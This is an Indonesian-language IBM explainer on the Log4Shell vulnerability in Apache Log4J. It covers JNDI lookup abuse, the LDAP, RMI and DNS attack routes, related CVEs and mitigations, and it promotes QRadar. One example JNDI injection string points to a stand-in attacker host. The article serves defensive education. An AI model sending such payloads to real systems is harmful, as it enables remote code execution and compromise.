Apa itu Log4Shell?
Berlangganan Buletin IBM Jelajahi IBM Security QRadar
Dua orang pekerja duduk di meja bersama, keduanya melihat monitor komputer
Apa itu Log4Shell?

Log4Shell, juga dikenal sebagai kerentanan Log4J, adalah kerentanan eksekusi kode jarak jauh (RCE) di beberapa versi pustaka Java Apache Log4J 2 Java. Log4Shell memungkinkan peretas menjalankan hampir semua kode yang mereka inginkan pada sistem yang terpengaruh, yang pada dasarnya memberi mereka kendali penuh atas aplikasi dan perangkat.

Log4Shell-Pengenal Kerentanan dan Paparan Umum CVE: CVE-2021-44228-memiliki skor Sistem Penilaian Kerentanan Umum (CVSS) 10, yang menunjukkan kerentanan kritis. Aplikasi ini dianggap sebagai salah satu kerentanan paling berbahaya yang pernah ada karena jangkauannya yang luas dan berpotensi menghancurkan.  

Diperkirakan 10 persen dari semua aset digital (tautan berada di luar ibm.com)—termasuk aplikasi web, layanan cloud, dan titik akhir fisik seperti server—rentan terhadap Log4Shell pada saat penemuannya. Peretas dapat menggunakan Log4Shell untuk melakukan hampir semua hal: mencuri data (eksfiltrasi data), menginstal ransomware, menangkap perangkat untuk botnet, dan banyak lagi. 

Peneliti keamanan cloud pertama kali menemukan Log4Shell pada November 2021. Apache merilis patch pada bulan Desember 2021, dan semua versi Log4J dari 2.17.1 dan seterusnya bebas dari Log4Shell dan kerentanan terkait. Namun, Badan Keamanan Siber dan Infrastruktur (Cybersecurity and Infrastructure Security Agency/CISA) melaporkan bahwa Log4Shell masih menjadi salah satu kerentanan yang paling sering dieksploitasi (tautan berada di luar ibm.com). Log4J tersebar luas dalam rantai pasokan perangkat lunak, sehingga menemukan dan memperbaiki setiap contoh yang rentan dapat memakan waktu bertahun-tahun. 

Sementara itu, tim keamanan dapat mengambil langkah lain untuk mengurangi eksposur jaringan, yang akan dibahas lebih lanjut di bawah ini. 

Panduan Pembeli EDR

Pelajari apa yang harus diperhatikan ketika mengevaluasi elemen-elemen utama dari solusi EDR modern.

Cara kerja Log4Shell

Log4Shell mempengaruhi Log4J, sebuah pustaka logging sumber terbuka yang dikelola oleh Apache Software Foundation. Log4J adalah sebuah logger, sebuah komponen perangkat lunak yang mencatat informasi dan peristiwa dalam sebuah program, seperti pesan kesalahan dan input pengguna.  

Log4J bukanlah sebuah program yang berdiri sendiri, melainkan sebuah paket kode yang dapat disambungkan oleh pengembang ke dalam aplikasi Java mereka alih-alih membangun logger dari awal. Organisasi-organisasi besar-termasuk Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco, dan banyak lagi-menggunakan Log4J dalam perangkat lunak dan layanan mereka. 

Log4Shell dihasilkan dari cara versi Log4J yang rentan menangani dua fitur terkait: Pencarian Java Naming and Directory Interface (JNDI) dan penggantian pencarian pesan. Setiap fitur secara sendiri-sendiri tidak akan berbahaya, tetapi interaksi di antara mereka memberi peretas senjata yang ampuh.

JNDI adalah antarmuka pemrograman aplikasi (API) yang digunakan aplikasi Java untuk mengakses sumber daya yang dihosting di server eksternal. Pencarian JNDI adalah perintah yang memerintahkan aplikasi untuk pergi ke server dan mengunduh objek tertentu, seperti sepotong data atau skrip. Versi lama Log4J 2 secara otomatis menjalankan kode apa pun yang diunduh dengan cara ini.  

Substitusi pencarian pesan memungkinkan pengguna dan aplikasi untuk mengirim variabel ke Log4J di dalam pesan log dengan menggunakan sintaks tertentu:${prefix:name}. Ketika Log4J menemukan sintaks ini, log ini akan menyelesaikan variabel dan mencatat nilainya dalam log. Misalnya, jika Log4J menerima pesan yang berbunyi

${java:version}

akan mengetahui versi Java yang sedang berjalan pada perangkat. Dalam log, itu akan mencatat: "Java versi X.XX." 

Dengan kata lain, Log4J tidak memperlakukan substitusi pencarian pesan seperti teks biasa. Log ini memperlakukan mereka seperti perintah dan mengambil tindakan berdasarkan apa yang mereka katakan. Peretas dapat memanfaatkan fakta ini untuk mengirimkan perintah pencarian JNDI yang berbahaya ke aplikasi yang menjalankan versi Log4J yang rentan. Sebagai contoh, seorang peretas dapat mengirim Log4J sebuah string seperti ini:

${jndi:ldap://myevilwebsite.biz/maliciouscode}

Ketika Log4J menerima pesan ini, log ini akan menyelesaikan variabel dengan menjangkau server di myevilwebsite.biz dan mengunduh objek yang terletak di /maliciouscode. Proses ini akan membuat Log4J mengeksekusi kode Java apa pun yang disimpan peretas di lokasi tersebut, biasanya berupa malware.  

Cara peretas mengeksploitasi Log4Shell

Peretas dapat menggunakan protokol standar untuk memicu Log4Shell, sehingga lebih mudah bagi lalu lintas jahat untuk menghindari deteksi. Sebagian besar serangan Log4Shell menggunakan salah satu protokol berikut: Lightweight Directory Access Protocol (LDAP); Doa Metode Jarak Jauh (RMI); atau Domain Name System (DNS). 

LDAP

LDAP digunakan untuk menyimpan data di lokasi pusat di mana berbagai aplikasi dan layanan dapat mengaksesnya. LDAP adalah metode yang paling umum digunakan peretas untuk mengeksploitasi Log4Shell. Serangan tipikal bekerja sebagai berikut:  

  • Peretas menyiapkan server LDAP dan menyimpan kode berbahaya di dalamnya.

  • Peretas mengirimkan pencarian JNDI ke sebuah program yang menggunakan Log4J.

  • Pencarian JNDI menyebabkan program menjangkau server LDAP penyerang, mengunduh muatan, dan mengeksekusi kode.
RMI

RMI adalah fitur Java yang memungkinkan aplikasi di satu perangkat untuk memberi tahu aplikasi di perangkat lain untuk melakukan sesuatu, seperti berbagi informasi atau menjalankan suatu fungsi. Serangan RMI bekerja dengan cara yang kurang lebih sama dengan serangan LDAP: peretas menyiapkan server RMI, mengelabui target untuk terhubung ke server mereka, dan mengirimkan perintah jahat kembali ke target. 

Serangan RMI tidak terlalu umum, tetapi beberapa peretas (tautan berada di luar ibm.com) beralih ke RMI karena semakin banyak organisasi yang memblokir lalu lintas LDAP.  

DNS

Peretas menggunakan DNS untuk mencari target. Mereka mengirim pencarian JNDI ke sebuah program, memberitahunya untuk terhubung ke server DNS yang dikendalikan oleh peretas. Jika server DNS mencatat koneksi dari program ini, para peretas tahu bahwa sistem ini rentan terhadap upaya eksploitasi Log4Shell lebih lanjut.  

Contoh serangan Log4Shell

Karena Log4Shell memungkinkan peretas menjalankan kode arbitrer, penjahat siber bisa menggunakan kelemahan itu untuk melancarkan berbagai serangan. Log4Shell juga merupakan kerentanan zero-day pada saat ditemukan, yang berarti para peretas dapat langsung mengeksploitasinya. 

Beberapa serangan Log4Shell yang paling awal menginfeksi komputer dengan cryptojackers, sebuah jenis malware yang menggunakan perangkat untuk menambang mata uang kripto tanpa sepengetahuan pemiliknya. Botnet Mirai juga telah menggunakan kelemahan tersebut untuk mengambil alih perangkat. 

Berbagai serangan ransomware telah memanfaatkan Log4Shell. Yang paling menonjol termasuk jenis Khonsari, yang menyebar melalui video game Minecraft, dan NightSky, yang menargetkan sistem yang menjalankan VMware Horizon. 

Para perantara akses telah menggunakan Log4Shell untuk membangun pijakan di jaringan perusahaan yang bernilai tinggi, sering kali dengan secara diam-diam menjatuhkan Trojan akses jarak jauh (RAT) pada sistem yang disusupi. Pialang akses kemudian menjual pijakan ini kepada afiliasi ransomware-sebagai-layanan atau peretas lain di web gelap. 

Kerentanan terkait dengan Log4Shell

Ketika Apache bekerja untuk menambal Log4Shell setelah penemuannya, beberapa kelemahan terkait terungkap. Pada akhirnya, dibutuhkan empat tambalan untuk memperbaiki Log4Shell dan semua kerentanan yang terkait.

CVE-2021-45046 

Patch pertama yang dirilis Apache, Log4J versi 2.15.0, menutup sebagian besar kerentanan Log4Shell. Namun, peretas masih bisa mengirim pencarian JNDI berbahaya ke sistem yang menggunakan pengaturan non-default tertentu. Apache mengatasi cacat ini dengan Log4J versi 2.16.0.

CVE-2021-45105

Versi 2.16.0 juga ternyata belum lengkap. Peretas dapat menggunakan pencarian pesan berbahaya untuk mengirim sistem yang rentan ke rekursi tak terbatas, yang mengarah ke serangan deni al-of-service. Apache merilis versi 2.17 untuk memperbaiki kekurangan ini.

CVE-2021-44832

Kurang parah dari yang lain, cacat ini memungkinkan peretas untuk mengeksekusi kode dari jarak jauh, tetapi mereka perlu mendapatkan izin yang lebih tinggi dan mengubah konfigurasi log terlebih dahulu. Apache mengatasi hal ini dengan patch keempat ini, Log4J versi 2.17.1.

Mitigasi dan memperbaiki Log4Shell  

Para peneliti keamanan sangat menyarankan agar organisasi memprioritaskan untuk memperbarui semua contoh Log4J di jaringan mereka ke versi terbaru, atau setidaknya versi 2.17.1. Penambalan adalah satu-satunya cara untuk memperbaiki Log4Shell sepenuhnya. 

Namun, tim keamanan mungkin tidak dapat menambal semua contoh Log4J di jaringan mereka dengan segera. Instalasi Log4J yang rentan sering kali hadir sebagai ketergantungan tidak langsung, yang berarti aset perusahaan tidak menggunakan Log4J, tetapi bergantung pada aplikasi dan layanan lain yang menggunakan Log4J. Menurut Google (tautan berada di luar ibm.com), instans Log4J yang paling rentan memiliki kedalaman lebih dari satu tingkat, dan beberapa di antaranya memiliki kedalaman sembilan tingkat.  

Ketika Log4J merupakan ketergantungan tidak langsung, maka akan lebih sulit bagi tim keamanan untuk menemukannya. Ketika mereka menemukannya, mereka mungkin tidak dapat menambalnya, tergantung di mana letaknya. Jika Log4J terkubur dalam paket perangkat lunak yang digunakan oleh aplikasi pihak ketiga, tim keamanan akan meminta vendor untuk memperbarui Log4J di bagian akhir.  

Bahkan ketika Log4J hadir sebagai ketergantungan langsung, mungkin sulit dikenali. Proses pengembangan perangkat lunak saat ini sangat kompleks, bergantung pada tim yang besar dan susunan kode yang sudah ada sebelumnya. Pengembang mungkin tidak menyadari bahwa aplikasi mereka mengandung versi Log4J yang rentan, karena contoh-contoh tersebut mungkin berada jauh di dalam paket perangkat lunak yang telah ditulis sebelumnya yang tidak dikodekan oleh para pengembang.

Pada Desember 2022, 25 persen unduhan Log4J (tautan berada di luar ibm.com) masih rentan terhadap Log4Shell, yang berarti orang menggunakan versi Log4J yang sudah ketinggalan zaman untuk membangun aset baru. 

Log4J digunakan secara luas dalam rantai pasokan perangkat lunak sehingga menemukan dan memperbaiki setiap contoh yang rentan akan memakan waktu setidaknya satu dekade, menurut Departemen Keamanan Dalam Negeri AS (tautan berada di luar ibm.com).

Sementara itu, tim keamanan dapat mengambil langkah lain untuk mengurangi paparan jaringan.

Menghapus pencarian pesan dari aplikasi yang rentan  

Tim keamanan dapat melarang substitusi pencarian pesan di Log4J, sehingga Log4J memperlakukan pesan peretas sebagai teks biasa dan bukannya perintah untuk dieksekusi.

Ada dua cara untuk melakukan ini: dengan mengubah "Log4J2.formatMsgNoLookups" properti sistem ke "true" atau menetapkan nilai variabel lingkungan LOG4J_FORMAT_MSG_NO_LOOKUPS ke "true." 

Perhatikan bahwa versi Log4J yang belum ditambal masih terkena CVE-2021-45046, yang memungkinkan peretas mengirim pencarian JNDI berbahaya ketika pengaturan non-default tertentu digunakan. Oleh karena itu, melarang pencarian pesan tidaklah mudah.  

Hapus kelas JNDIlookup dari aplikasi yang rentan  

Aplikasi Java menggunakan kelas untuk mendefinisikan apa yang dapat dilakukan oleh sebuah program. Di Log4J, kelas " JNDILookup " mengatur pencarian JNDI. Jika class ini dihapus dari direktori class Log4J—a.k.a., classpath—maka pencarian JNDI tidak dapat dilakukan lagi.  

Melarang pencarian JNDI mencegah peretas mengirimkan perintah jahat, tetapi juga dapat memengaruhi fungsi lain dari Log4J dan aplikasi yang menggunakannya. Hal ini juga dapat menyulitkan untuk memastikan setiap instance dari kelas dihapus.   

Memblokir lalu lintas keluar yang berbahaya

Organisasi bisa menggunakan firewall dan alat keamanan siber lainnya untuk memblokir lalu lintas dari aset yang berhadapan dengan internet yang rentan ke server yang dikendalikan penyerang. Sebagai contoh, tim keamanan dapat menetapkan aturan untuk melarang semua koneksi yang menggunakan protokol LDAP atau RMI. 

Memblokir lalu lintas keluar dan bukannya lalu lintas masuk akan membantu menghindari kesalahan positif, karena vendor dan peneliti keamanan mungkin memindai aset untuk menemukan contoh yang masih ada dan belum ditambal.  

Kelemahannya adalah firewall dapat memblokir atau menggagalkan koneksi keluar yang diperlukan, terutama jika organisasi menggunakan LDAP atau RMI untuk alasan yang sah. 

Solusi terkait
IBM Security® QRadar® Suite

Mengelabui serangan dengan rangkaian keamanan yang terhubung dan modern Portofolio QRadar disematkan dengan AI tingkat perusahaan dan menawarkan produk terintegrasi untuk keamanan titik akhir, manajemen log, SIEM, dan SOAR-semuanya dengan antarmuka pengguna yang sama, wawasan bersama, dan alur kerja yang terhubung.

    Jelajahi QRadar Suite

    Solusi keamanan dan perlindungan data

    Diimplementasikan di tempat atau di hybrid cloud, solusi keamanan data IBM membantu Anda mendapatkan visibilitas dan wawasan yang lebih besar untuk menyelidiki dan memulihkan ancaman siber, menegakkan kontrol real-time, dan mengelola kepatuhan terhadap peraturan.

      Jelajahi solusi keamanan dan perlindungan data

      Tim respons insiden X-Force®

      Perburuan ancaman secara proaktif, pemantauan berkelanjutan, dan investigasi mendalam terhadap ancaman hanyalah beberapa prioritas yang dihadapi departemen TI yang sudah sangat sibuk. Memiliki tim tanggap insiden tepercaya yang siap siaga dapat mengurangi waktu tanggap Anda, meminimalkan dampak serangan siber, dan membantu Anda pulih lebih cepat.

        Jelajahi respons insiden X-Force
        Sumber daya Panduan Utama untuk Eksploitasi Zero-Day

        Pelajari semua yang perlu Anda ketahui tentang eksploitasi zero-day dan peran penting yang mereka mainkan dalam keamanan. Disiapkan oleh Randori, sebuah perusahaan IBM.

        Apa itu peretasan?

        Peretasan (juga disebut peretasan siber) adalah penggunaan cara-cara yang tidak konvensional atau terlarang untuk mendapatkan akses yang tidak sah ke perangkat digital, sistem komputer, atau jaringan komputer.

        Apa itu malware?

        Perangkat lunak berbahaya, atau "malware," adalah program apa pun yang dirancang untuk membahayakan sistem komputer atau penggunanya-seperti ransomware, Trojan horse, dan spyware.

        Ambil langkah selanjutnya

        IBM Security® QRadar® EDR, sebelumnya bernama ReaQTA, memulihkan ancaman endpoint yang diketahui dan tidak diketahui nyaris secara real time dengan otomatisasi cerdas yang mudah digunakan dan membutuhkan sedikit interaksi hingga tanpa interaksi sama sekali dari manusia. Buat keputusan yang cepat dan terinformasi dengan storyboard visualisasi serangan. Gunakan manajemen peringatan otomatis untuk fokus pada ancaman yang penting. Dan jaga kelangsungan bisnis dengan kemampuan AI yang canggih dan terus belajar.

        Pelajari lebih lanjut tentang QRadar EDR Minta demo QRadar EDR